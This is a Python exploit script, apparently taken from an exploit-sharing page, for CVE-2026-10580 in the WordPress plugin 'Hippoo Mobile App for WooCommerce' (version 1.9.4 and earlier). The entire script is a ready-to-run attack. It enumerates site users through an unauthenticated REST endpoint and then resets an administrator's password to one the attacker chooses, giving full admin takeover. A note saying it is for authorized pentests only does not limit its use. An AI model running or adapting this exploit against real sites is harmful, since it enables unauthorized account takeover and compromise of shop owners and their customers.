Hippoo Mobile App for WooCommerce — Unauthenticated Admin Account Takeover (CVE-2026-10580)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105

#!/usr/bin/env python3
import requests
import sys
import json
import argparse
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
R = "\033[91m"    # Red
G = "\033[92m"    # Green
Y = "\033[93m"    # Yellow
C = "\033[96m"    # Cyan
W = "\033[97m"    # White
N = "\033[0m"     # Reset

BANNER = f"""
{R}              _____________   _______________         _______________   ________  ________          ___________   .________  ______ _______   
              \\_   ___ \\   \\ /   /\\_   _____/         \\_____  \\   _  \\  \\_____  \\/  _____/         /_   \\   _  \\  |   ____/ /  __  \\\\   _  \\  
              /    \\  \\/\\   Y   /  |    __)_   ______  /  ____/  /_\\  \\  /  ____/   __  \\   ______  |   /  /_\\  \\ |____  \\  >      </  /_\\  \\ 
              \\     \\____\\     /   |        \\ /_____/ /       \\  \\_/   \\/       \\  |__\\  \\ /_____/  |   \\  \\_/   \\/       \\/   --   \\  \\_/   \\
               \\______  / \\___/   /_______  /         \\_______ \\_____  /\\_______ \\_____  /          |___|\\_____  /______  /\\______  /\\_____  /
                      \\/                  \\/                  \\/     \\/         \\/     \\/                      \\/       \\/        \\/       \\/ 
{Y}
                          WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover                    

{G}                                                                    Author: 0xgh057r3c0n                                    
{N}
"""

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!", verify_ssl=True):
    base = target.rstrip('/')
    
    session = requests.Session()
    session.verify = verify_ssl
    
    print(BANNER)
    print(f"{W}[*] Target:{N} {target}")
    print(f"{W}[*] Target Admin ID:{N} {admin_id}")
    print(f"{W}[*] New Password:{N} {new_password}")
    print(f"{W}[*] SSL Verification:{N} {G if verify_ssl else R}{'Enabled' if verify_ssl else 'Disabled'}{N}")
    print()
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = session.get(users_url)
    if r.status_code != 200:
        print(f"{R}[-] Not vulnerable: {target}{N}")
        return False
    
    users = r.json()
    print(f"{G}[+] Found {len(users)} user(s){N}")
    
    for user in users:
        uid = user.get('id')
        uname = user.get('slug')
        roles = user.get('roles', ['N/A'])
        role_str = roles[0] if isinstance(roles, list) else roles
        print(f"    {W}- User ID:{N} {uid} | {W}Username:{N} {uname} | {W}Role:{N} {C}{role_str}{N}")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = session.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"\n{R}╔══════════════════════════════════════════════════════════════╗")
        print(f"║             ADMIN TAKEOVER SUCCESSFUL                       ║")
        print(f"╚══════════════════════════════════════════════════════════════╝{N}")
        print(f"{Y}    Target:{N} {target}")
        print(f"{Y}    Login:{N} {base}/wp-admin")
        print(f"{Y}    Username:{N} admin (or check enumeration above)")
        print(f"{Y}    Password:{N} {new_password}")
        print()
        
        admin_user = next((u for u in users if u.get('id') == admin_id), None)
        if admin_user:
            print(f"{G}[+] Admin username: {admin_user.get('slug')}{N}")
        
        return True
    else:
        print(f"\n{R}[-] Password reset failed (HTTP {r2.status_code}){N}")
        print(f"{R}[-] Response: {r2.text[:200]}{N}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="wc-hippoo WordPress Plugin Exploit - CVE-2026-XXXX",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"{N}Authorized pentest - Target of authorized assessment only{N}"
    )
    
    parser.add_argument("-t", "--target", required=True, help="Target WordPress site URL (e.g., https://example.com)")
    parser.add_argument("-p", "--password", required=True, help="New admin password to set")
    parser.add_argument("-i", "--id", type=int, default=1, help="Admin user ID to takeover (default: 1)")
    parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL certificate verification")
    parser.add_argument("--no-banner", action="store_true", help="Suppress the ASCII banner")
    
    args = parser.parse_args()
    
    if not args.no_banner:
        print(BANNER)
    
    exploit(args.target, args.id, args.password, not args.insecure)